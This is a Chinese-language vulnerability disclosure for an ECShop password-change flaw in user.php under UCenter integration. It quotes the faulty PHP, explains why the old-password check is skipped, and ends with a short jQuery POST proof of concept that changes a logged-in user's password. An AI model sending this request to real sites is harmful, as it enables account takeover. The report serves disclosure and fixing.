### 简要描述:
最新版本也存在此问题
### 详细说明:
该漏洞有个前提,需要会员系统整合ucenter
问题出在
user.php $action == 'act_edit_password'
[<img src="https://images.seebug.org/upload/201402/17093718e31e126b76cb15fd17cc3ad8b15588ef.png" alt="QQ截图20140217093645.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/17093718e31e126b76cb15fd17cc3ad8b15588ef.png)
```
$old_password = isset($_POST['old_password']) ? trim($_POST['old_password']) : '';
$new_password = isset($_POST['new_password']) ? trim($_POST['new_password']) : '';
$user_id = isset($_POST['uid']) ? intval($_POST['uid']) : $user_id;
$code = isset($_POST['code']) ? trim($_POST['code']) : '';
if (strlen($new_password) < 6)
{
show_message($_LANG['passport_js']['password_shorter']);
}
$user_info = $user->get_profile_by_id($user_id); //论坛记录
if (($user_info && (!empty($code) && md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time']) == $code)) || ($_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password)))
{
if ($user->edit_user(array('username'=> (empty($code) ? $_SESSION['user_name'] : $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), empty($code) ? 0 : 1))
{
$user->logout();
show_message($_LANG['edit_password_success'], $_LANG['relogin_lnk'], 'user.php?act=login', 'info');
}
else
{
show_message($_LANG['edit_password_failure'], $_LANG['back_page_up'], '', 'info');
}
}
```
我把上面主要代码精简一下
$code='123';
$old_password=null;
$user_info['user_name']=当前用户名
```
if( false ||$_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password))){
#ucenter 模块中check_user未对原密码校验此处为True
if ($user->edit_user(array('username'=> ( $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), 1))
{
#edit_user() $code不为空,所以最后一个参数为1 则不校验原密码直接修改
成功修改密码
}
}
```
问题主要出在两个地方
1.ucenter用户整合模块实现check_user()时未校验原密码
2. 通过code找回密码的代码和通过原密码修改密码的代码弄的到一块了
if语句嵌套太多容易扯着蛋蛋
### 漏洞证明:
登录网站打开调试 粘贴以下js代码运行(为了简化代码,假设有jquery)
```
$.post('user.php?act=act_edit_password',{'new_password':'123456',code:'不为空就行'},
function(data){
});
```
然后刷新代码
若是退出状态则修改密码成功
暂无评论